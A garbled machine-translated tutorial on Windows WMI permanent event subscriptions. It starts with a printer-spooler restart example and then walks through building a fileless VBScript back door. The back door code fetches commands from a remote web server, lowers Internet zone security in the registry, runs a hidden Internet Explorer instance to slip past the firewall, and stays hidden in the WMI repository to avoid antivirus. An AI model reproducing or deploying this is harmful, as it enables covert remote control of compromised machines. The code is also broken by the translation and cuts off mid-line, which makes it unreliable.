Evtflt.QueryLanguage = "wql" "Defines the query language (only WQL) '

Set fltpath = evtflt.put_ 'Registered filters, return to its link'

Set fcbnd = getObject (nslink & "__filtertoconusumerbinding"). SpawnInstance_ 'creates a filter and consumer binding'

Fcbnd.consumer = asecpath.path 'Specifies consumer'

FCBND.FILTER = fltpath.path 'Specify filter'

FCBND.PUT_ 'Performs Bind'

WScript.echo "Installation"

The effect of this script is: When the "Spooler" status is changed to stop, the consumer will process - restart the spooler.

First Net Start Spooler, then Net Stop Spooler. For up to 5 seconds, Spooler will start again.

The script directly running will be wrong because "ActivescriptEventConSumer Asec) is not installed to the root / cimv2 name space by default.

Use Notepad to open% Windir% / System32 / WBEM / SCRCONS.MOF to delete the first line "#pragma namespace (" .//root//-DEFAULT ")" delete, or modified to "#pragma namespace.". Root // CIMv2 ")". XP / 2003 does not have this line without modification.

Then do this below:

C: / Winnt / System32 / WBEM> Mofcomp.exe -n: root / cimv2 scrcons.mof

Microsoft (R) 32-bit MOF assembler version 1.50.1085.0007

Copyright (C) Microsoft Corp. 1997-1999. all rights reserved. MOF file: Scrcons.Mof

MOF file analysis success

Store data into the reserve ...

completed!

This installs the ASEC to root / CIMV2. Mofcomp.exe and Scrcons.mof are all self-contained.

2000 The default is installed to the root / default name space, while XP / 2003 has been installed to the root / subscription name space, but due to the event filter, the event filter cannot be captured (XP / 2003 can be), the event binding cannot be across Namespace, and most events are generated in root / CIMv2, so you need to reinstall the namespaces where the ASEC to the event source is. Below this script automatically completes ASEC to re-install tasks.

Set shl = creteObject ("wscript.shell")

SET FSO = CreateObject ("scripting.filesystemObject")

Path = shl.expandenvironmentstrings ("% windir% / system32 / wbem /")

Set mof = fso.opentextfile (path & "scrcons.mof", 1, false, -1) 'MOF is Unicode format'

Mofs = Mof.Readall

MOF.CLOSE

MOFS = Replace (MOFS, "// default", "// CIMv2", 1, 1) 'Replace the default name space'

Mofp = path & "boecimv2.mof"

Set mof = fso.createteTextFile (Mofp, false, true) 'Create a temporary MOF file'

Mof.write Mofs

MOF.CLOSE

SHL.Run Path & "Mofcomp.exe -n: root / cimv2" & mofp, 0, true 'installed to root / cimv2'

Fso.Deletefile (Mofp)

WScript.echo "Installation"

Logout permanent event:

nslink = "WinMgmts: //./root/cimv2:"

Myconsumer = "stopped_spooler_restart_consumer" "Specifies the name of the consumer '

MyFilter = "stopped_spooler_filter" "Specifies the name of the filter '

Set binds = getObject (nslink & "__filtertoconusumerbinding). Instances_

For Each Bind in Binds

IF strcomp (Right (bind.consumer 1), Myconsumer & Chr (34), 1) = 0

And strong (Bind.Filter, Len (MyFilter) 1), Myfilter & Chr (34), 1) = 0 THEN

GetObject ("WinMgmts:" & bind.consumer). deleted consumer '

GetObject ("WinMgmts:" & bind.filter). deleted filter 'bind.delete_' Delete Bind '

EXIT for

END IF

NEXT

WScript.echo "Uninstall"

In addition to ASEC, WMI also provides other permanent event consumers, such as SmtpeventConsumer. When the system appears anomaly, you can automatically send a letter to the administrator's mailbox. Wmitools WMI Event Registration is used to create, modify, delete instances of permanent event consumers, event filters, and timer event sources in the specified namespace, and bind or release them.

Regarding the various parts of the event handling mechanism, there is a detailed story in the "WMI Technical Guide", and it is of course more comprehensive in MSDN. I will not have it.

(Look at it, drink the water, take a break ^ _ ^)

Here, discuss the script back door.

WMI provides two timers: __ absolutetimerinstruction, __intervaltimerinstruction, triggering events at the specified time and time interval, registering a filter to capture timer events, then binding ASEC, we gain a rare program from Starting method. Moreover, the script code is completely hidden in the CIM repository, does not exist in an independent file, and the killing is more difficult. This is the advantage of the back door of the script, but it is difficult to say:

1. When the script is run, Scrcons.exe comes with the system as a script host (Windows designer has not been stupid to use WMI service as a script host). This will increase a process, although it is a normal process, anti-virus software is nothing, but it is too conspicuous. So, you can't let the script run in the background, but should start once every time, then end as soon as possible. After the script is over, the Scrcons.exe process will not end automatically, and the script must take the script to take the initiative to terminate the host process with Win32_Process objects provided by WMI (boiled beans 萁 萁 ?!).

2, the network function of the script is very poor, basically only relying on objects such as Microsoft.xmlhttp. Therefore, the script rear door cannot listen to the port and provide the CMD shell, which can only be connected to the web server to get the control command. A viable way is to put a command file on the web server, the script is backed up to find the server according to the domain name and download the command file, and respond according to the content. So, you need a web server, or build a temporary server with tools such as NetBox. Of course, you don't need to let the server always online, you need to control the script after running again.

3. Since the script rear door intermittent operation, it is necessary to prevent the same command from being run again. The solution is to record the length of the command in the registry, compare the length and record each time you get the command, if the same is skipped, the difference overrides and executes the command.

4. In order to penetrate the firewall with the IE object, the XMLHTTP object must be created in IE, which will be limited by the Internet domain security level. Even if the code is saved in the HTML file, use IE to open it, but it is just a "my computer" domain, create an unsafe ActiveX object or the warning dialog will pop up. The solution is to modify the registry and temporarily change the security settings.

5. WScript object is provided by WScript.exe or CScript.exe, while Scrcons.exe is not provided, so many common functions, such as WScript.sleep can't be used. You can't use XMLHTTP asynchronously without Sleep, and synchronous XMLHTTP may be blocked for a long time, which is much more disadvantage over the latter. Calling the ping command delaying a new process, with a "咚" tone with the POPUP method of WScript.Shell. Good in Microsoft.xmlhttp "relatives", such as MSXml2.xmlhttp, msxml2.serverxmlhttp, msxml2.domdocument, Winhttp.winhttpRequest, etc. The last one can set the timeout, just satisfied it. Even if there is more difficulties, the script is still worth challenged. When the various types of Trojans on broiler have been cleared by the anti-virus software, the latte behind a 24-hour run may be your last hope.

Below is a simple script back door core code (no installation function):

CMDU = "

http://myweb.8866.org/cmd.txt "URL 'getting commands from the web server

CMDW = 4000 'download timeout 4 seconds'

CMDL = "HKLM / Software / Microsoft / WBEM / CIMOM / CMDLENGTH" 'records the key value name of the command length

On Error ResMe next 'ignores non-fatal errors' (Comment is taken off when debugging)

SET SHL = CreateObject ("wscript.shell") 'Although the WScript root object cannot be used, its child object can still be used.

SET ASO = CREATEOBJECT ("AdoDb.Stream")

Set IE = CreateObject ("InternetExplorer.Application") 'Use IE to bypass the firewall'

ZONE = "HKCU / Software / Microsoft / Windows / CurrentVersion / Internet Settings / Zones / 3"

Set1 = zone & "/ 1201"

Set2 = ZONE & "/ 1400"

Set3 = zone & "/ currentlevel"

VAL1 = shl.regread (set1) 'Save the original security settings'

VAL2 = shl.regread (set2)

VAL3 = shl.regread (set3)

Regd = "reg_dword"

SHL.REGWRITE SET1, 0, Regd 'allows unsea-safe ActiveX' to be run on the Internet

SHL.REGWRITE SET2, 0, Regd 'Allows Activity Script'

SHL.REGWRITE SET3, 0, Regd 'Sets the current Internet domain security level is "custom"'

IE.visible = 0 ': ie.visible = 1' (debugging)

IE.NAVIGATE "About" & ": blank" 'here uses string connection purely anti-forum filter' IE.Document.write _

"